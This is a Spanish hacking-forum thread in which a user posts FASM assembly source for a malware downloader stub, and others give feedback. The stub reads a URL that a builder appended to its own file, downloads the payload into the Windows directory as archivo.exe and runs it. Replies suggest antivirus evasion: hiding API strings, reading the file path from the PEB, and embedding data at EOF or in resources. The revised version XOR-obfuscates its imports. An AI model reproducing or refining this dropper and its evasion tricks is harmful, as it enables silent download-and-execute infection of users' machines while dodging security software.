Bueno, aqui les traigo el código de un downloader uqe e creado en fasm :P, solo dejo el código del Stub que es lo interesante jeje.
;Stub de mDownloader
;Codeado por Drinky94 en diciembre de 2010
;www.drinky94. artehack .net
include 'win32ax.inc'
.data
ruta dd ?
manija dd ?
larchivo dd ?
espacio dd ?
bleidos dd ?
dll db 'urlmon.dll',0
funcion db 'URLDownloadToFileA',0
mUrl dd ?
dlls db 'msvcrt.dll',0
funcions db 'getenv',0
shell dd ?
user db 'windir',0
añadir db '\archivo.exe',0
destino dd ?
.code
start:
invoke GlobalAlloc,GPTR,1024
mov [ruta],eax
invoke GetModuleFileName,0,[ruta],1024
invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
mov [manija],eax
invoke GetFileSize,[manija],0
mov [larchivo],eax
invoke GlobalAlloc,GPTR,[larchivo]
mov [espacio],eax
invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
invoke CloseHandle,[manija]
mov ecx,1
mov eax,[espacio]
add [larchivo],10
bucle:
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
add eax,ecx
mov [espacio],eax
jmp salir
.endif
dec ecx
.endif
dec ecx
.endif
.if ecx > [larchivo]
jmp salir
.endif
inc ecx
jmp bucle
salir:
invoke LoadLibrary,dlls
invoke GetProcAddress,eax,funcions
mov [shell],eax
push user
call [shell]
invoke lstrcat,eax,añadir
mov [destino],eax
invoke LoadLibrary,dll
invoke GetProcAddress,eax,funcion
mov [mUrl],eax
push 0
push 0
push [destino]
push [espacio]
push 0
call [mUrl]
invoke ShellExecute,0,"open",[destino],0,0,0
leave
ret
.end start
Espero que a alguien le sirva :P
salu2!
Eso de dejar las cadenas en texto plano no es demasiado profesional, ademas que a los AVs no les gusta encontrarse "URLDownloadToFileA"... :xD
Teniendo en cuenta que esta en ASM te recomiendo sacar tu ruta desde el PEB, y asi te ahorras un par de APIs muy feas :P
xor eax, eax
mov eax, [FS:eax+0x30]
mov eax, [DS:eax+0x10]
mov eax, [DS:eax+0x3C]
;EAX = Ruta
Todo esto:
bucle:
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
add eax,ecx
mov [espacio],eax
jmp salir
.endif
dec ecx
.endif
dec ecx
.endif
.if ecx > [larchivo]
jmp salir
.endif
inc ecx
jmp bucle
Es para encontrar la firma no? Es un poco cutre este bucle... deberias usar loop... ademas de usar una firma de 4 bytes para poder buscarla de este modo: cmp DWORD[eax+ecx],"####"
Otra cosa! Para sacar las variables de entorno siempre me ha gustado mas ExpandEnvironmentStringA/W.. a la que le pases la ruta del siguiente modo: "%WINDIR%\archivo.exe" y te la completa... ademas de que esta en KERNEL32 y te ahorras importar otra API :)
Un saludo ;)
Umm, tienes razón Karcrack :-*. Mañana mejoro el código y lo posteo jeje
salu2!
Está muy bien Drinky94, vas progresando con ASM :).
No sé si estás metiendo los datos en el EOF, pero si lo haces así, puedes encontrar fácilmente la dirección donde empiezan los datos que le builder metió y no tener que usar ninguna "firma". Si no lo haces con el EOF puedes reservar una dirección fija, por ejemplo con unos pocos nops en el código, y que sea el builder quien busque los nops y los cambie por los datos que quieres pasarle al stub. También puedes hacerlo con un archivo de recursos.
Saludos
Bueno, aqui esta el código mejorado:
include 'win32ax.inc'
.data
manija dd ?
larchivo dd ?
espacio dd ?
bleidos dd ?
dll db 'rukjhi)ckk',0
funcion db 'RUKChpikhfcShAnkbF',0
añadir db '%windir%\archivo.exe',0
ruta dd ?
.code
start:
xor eax, eax
mov eax, [FS:eax+0x30]
mov eax, [DS:eax+0x10]
mov eax, [DS:eax+0x3C]
invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
mov [manija],eax
invoke GetFileSize,[manija],0
mov [larchivo],eax
invoke GlobalAlloc,GPTR,[larchivo]
mov [espacio],eax
invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
invoke CloseHandle,[manija]
mov ecx,1
mov eax,[espacio]
add [larchivo],10
bucle:
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
.if byte[eax+ecx] = '#'
inc ecx
add eax,ecx
mov [espacio],eax
jmp salir
.endif
dec ecx
.endif
dec ecx
.endif
.if ecx > [larchivo]
jmp salir
.endif
inc ecx
jmp bucle
salir:
invoke GlobalAlloc,GPTR,1024
mov [ruta],eax
invoke ExpandEnvironmentStrings,añadir,[ruta],1024
stdcall Cifrar,dll
invoke LoadLibrary,eax
push eax
stdcall Cifrar,funcion
mov ecx,eax
pop eax
invoke GetProcAddress,eax,ecx
push 0
push 0
push [ruta]
push [espacio]
push 0
call eax
invoke ShellExecute,0,"open",[ruta],0,0,0
leave
ret
proc Cifrar,Cadena
xor ecx,ecx
mov eax,[Cadena]
.bucle:
.if byte[eax+ecx] = 0
jmp .salir
.endif
xor byte[eax+ecx],7
inc ecx
jmp .bucle
.salir:
ret
endp
.end start
Había leido sobre la estructura PEB y habia visto ese código tuyo en otro post de yst sino recuerdo mal.. XD
Bueno, no e mejorado lo de encontrar la firma que separa porque creo que así se adapta mas a lo que yo quiero y puedo añadir una firma con la longitud que quiera.
salu2!